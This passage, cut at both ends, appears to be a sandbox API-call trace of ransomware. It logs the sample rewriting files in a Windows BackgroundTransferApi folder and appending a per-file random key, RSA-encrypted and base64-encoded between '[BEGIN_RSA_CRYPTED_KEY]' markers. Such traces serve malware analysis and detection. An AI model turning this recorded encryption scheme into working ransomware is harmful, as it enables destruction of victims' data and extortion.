nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.465] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.465] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.465] CloseHandle (hObject=0x1830) returned 1 [0211.467] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.467] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\af9f53b3-af5d-4995-8f7b-57cf715f6fbf.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.467] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.467] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.467] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.467] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.467] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.467] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.468] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.468] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.468] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: pszString="9tZGIrgPWWjuT0nOwJrkkEbqucF06y13kHn7O+2rrRBgO79yBYM4OfdTD5bsl6yC\nx2kZb9X4x0vcL5JssBBZzF7AG+Ut6YQiFBLPdncd3INwTZxDhNS6vVqc4pGkBd5g\nrzJ6yxNZ994XSyOO5ggcDjcLS6JrHdIwp3E2h6Z4BVNeGOVaf9YJsx9QtVTxDAkI\nXJATNuoqbCUw4bZwqXTWdC4UG3qO6LqMYJTkCFo9eCSMQ8xjINNYRupKONVvCC+3\nnXfldx4A/rzFL/5FxTQEs7NxNHbDkIN8FheqWbNsudyFv6grCO6LVIo3lTrSouXS\nIQd1Tef+s5DglnQKe3RJig==\n", pcchString=0x2e3f9a8) returned 1 [0211.468] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.469] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.469] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.469] CloseHandle (hObject=0x1830) returned 1 [0211.470] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.470] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ab19f3b1-4de3-4827-bdbd-92a93a0211e5.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.471] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.471] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.471] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.471] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.472] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.472] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.473] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.473] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.473] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: pszString="iAfPtpOLhIMPnhMBmn/kT/Swe6rnyEFJ653Hk9F9kiheKs8DWM1ywZyxWa1AbNqs\n42PnuW25hE+foN8mFcd2Mbs/CBRncL/KuHk+BGlhxCPxpO2ZXiQD/Z/xclnZvQBh\ncHK3++Ray0BISW6UnA5FS81Q4+tpclosP0RI/EXOkKH76r2ULFBJgOh81JPjZWiJ\nd+MlSQAhTr2v5y1TisqCpFOX+NB6OEM1PBBxfcxS57ARM7DdCXd44F0pzm1l2LKq\nGNP2C6qCBF7sP56hm1K05fVDD2cnRbdO/euX+vIVggc4rfPWB5ZCCDRVjdDQbCX2\nk91jwcLTd3yHctVO9gWkNQ==\n", pcchString=0x2e3f9a8) returned 1 [0211.473] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.473] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.473] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.474] CloseHandle (hObject=0x1830) returned 1 [0211.475] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.475] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ab19f3b1-4de3-4827-bdbd-92a93a0211e5.up_meta", dwFileAttributes=0x80) returned 1 [0211.476] ReadFile (in: hFile=0x1830, lpBuffer=0x5815d0, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5815d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0211.476] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.476] WriteFile (in: hFile=0x1830, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0211.477] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112 [0211.477] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.477] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.477] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.477] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.478] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.478] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: pszString="YD0rWLVf+9lAl6VYB2QFuXv4DMBnp5/uK9KC3BTrX+K5jz1NyZeMi7RD1pJ01Yhm\n5QeLN7ZZDzR3R0T7EsdBF/1Ztu1zY75RMBjCIjh8nf2bthiRw2lYTjdY1KswwAeQ\nVhW869hmGjyIqo3UZcedRxdE22ESt+p3HRcJZTanRUFHtf45GQZxJkCvdbgf0xBQ\nX/+co7pE2uW8hBHMiCdb6m6SYizqKRCAPNZp+T9ei/0xKXgaS3qFux6tQaKu3dEX\nXDubUm+PN/+uLoJ2t+u/koXMwYnHzoVX7G+axbzgTSX++Y31OGmJRcUfRfk2Rq6A\ngXWjc4+4++juUtOktGlwtg==\n", pcchString=0x2e3f9a8) returned 1 [0211.478] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.479] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.479] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.479] CloseHandle (hObject=0x1830) returned 1 [0211.480] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.480] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\ab19f3b1-4de3-4827-bdbd-92a93a0211e5.869b39b2-3c55-4cca-ace7-c38451c6270e.down_meta", dwFileAttributes=0x80) returned 1 [0211.481] ReadFile (in: hFile=0x1830, lpBuffer=0x66d3b8, nNumberOfBytesToRead=0x5c4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d3b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c4, lpOverlapped=0x0) returned 1 [0211.663] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1476, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.663] WriteFile (in: hFile=0x1830, lpBuffer=0x66d988*, nNumberOfBytesToWrite=0x5c4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d988*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c4, lpOverlapped=0x0) returned 1 [0211.663] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c4 [0211.664] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.664] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.664] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.664] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.664] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.664] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d3b8, pcchString=0x2e3f9a8 | out: pszString="HcLGlxvePkNaGXfzn8IuSykENycrySkNypNQdDZhoURmmsbDTsfOaCZ0i2OgkoWB\ngYcElk6e/L12aoXyZPdylvPRRXfbk4iBDTyhS0eOOTtSF5kSucW5VFq/cJ+rEaCD\nrIWgB3oPgwAnC3k9SmCCgyazj9Z2ehEBzgX4l2r1vxVujpi6Ewwv66aAV0zSStCa\nUK3Rpuy1NBbRWwDhDlHHGXE71loR4f5diabBdG+D4JyS5d/2O8ixyV8IIFnWZ20Z\nNA4A0YoNY7u78Nup7GoZL9Kad2wlqajS7DeCO7Fz9Kgb8y0RttfJADfhlWRV1b8f\n9zo2h+37iXuoDjBJE3DUXg==\n", pcchString=0x2e3f9a8) returned 1 [0211.664] WriteFile (in: hFile=0x1830, lpBuffer=0x66d3b8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.665] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.665] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.665] CloseHandle (hObject=0x1830) returned 1 [0211.666] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.666] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a116c3c2-b474-4a0b-b1e6-3a843c2ef6c5.up_meta_body", dwFileAttributes=0x80) returned 1 [0211.667] ReadFile (in: hFile=0x1830, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.667] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.667] WriteFile (in: hFile=0x1830, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0211.667] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0211.667] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.667] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.668] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.669] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.669] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.669] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: pszString="xMHJpcKL/H16imoxxOhzhsIvVzurpaelhAGLbs8NSHh6DN1OXdFZqUPgmj+WTCbx\njTyKrEyU2EE4qtudTPP+kdrQtTSiNcQDPEa6GTgIDpgmO6yI5tsJbB49obxlMzy6\nu5Cm5fbt2cZIlxeBZZ+GLsWm+cSTCc8U3L+yU2gUhtZ+pIzsPn0mUBRWaLh727sf\nabSWmp97rJ2PsSXbsCqMrzk1YQg1eMoCpt6Z6XaY31/8ctueKLb1AA5q3KDppJcJ\nAcuF8hj7oFNVeuVsjVzI6HBbH5fKeLAEKA02aGvU1SGWhrPYiFLbwLnHhoX66MoC\nq0hyqnrOmYmqmvk4SzCwtA==\n", pcchString=0x2e3f9a8) returned 1 [0211.669] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.669] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.669] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.670] CloseHandle (hObject=0x1830) returned 1 [0211.672] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.672] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a116c3c2-b474-4a0b-b1e6-3a843c2ef6c5.up_meta", dwFileAttributes=0x80) returned 1 [0211.672] ReadFile (in: hFile=0x1830, lpBuffer=0x5815d0, nNumberOfBytesToRead=0x112, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5815d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0211.673] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-274, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.673] WriteFile (in: hFile=0x1830, lpBuffer=0x5bd3b8*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5bd3b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x112, lpOverlapped=0x0) returned 1 [0211.674] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x112 [0211.674] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.674] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.674] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.674] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.674] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.674] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: pszString="BwkZ7pA0+zTpvfFYnqiz0aJV+qfpESU3xFxpxMNLlUNlsjRTrYTwv5412l9oRGmy\nlo9sWgS3L70XYnaQ7nBwCTeMoOrvJeWI8Mex8BJSzF2GR5f30yC12+q3xFeN6uD/\n/WFCruVzTCk/W2Yl28U45pWqdYN7YX6i5eBXoosl8Wb7yfdbbA/eEKRrHPv9u169\nbFhe+JkkDP/tld7O7FoI6igUoN+kCjpNw3sFl1JoRZ8MjicxN0GVEvwTy7Ho+tzw\nb8J9JFD9xXd0HaV95wlsQmSaZq1Z3XOjEQrt2nYHUYWtLC8eYIKWKYWHgQ1de2rB\nLAwpS05NmuQwtuguzs/KGA==\n", pcchString=0x2e3f9a8) returned 1 [0211.674] WriteFile (in: hFile=0x1830, lpBuffer=0x66d140*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0211.675] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.675] WriteFile (in: hFile=0x1830, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.675] CloseHandle (hObject=0x1830) returned 1 [0211.677] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0211.677] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\AC\\BackgroundTransferApi\\a116c3c2-b474-4a0b-b1e6-3a843c2ef6c5.716c76a1-41e0-435c-8a2d-22b342f4f5b3.down_meta", dwFileAttributes=0x80) returned 1 [0211.677] ReadFile (in: hFile=0x1830, lpBuffer=0x66d140, nNumberOfBytesToRead=0x5c0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d140*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0211.678] SetFilePointer (in: hFile=0x1830, lDistanceToMove=-1472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0211.678] WriteFile (in: hFile=0x1830, lpBuffer=0x66d708*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66d708*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c0, lpOverlapped=0x0) returned 1 [0211.678] SetFilePointer (in: hFile=0x1830, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c0 [0211.679] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0211.679] WriteFile (in: hFile=0x1830, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0211.679] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0211.679] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0211.679] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0211.679] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66d140, pcchString=0x2e3f9a8 | out: 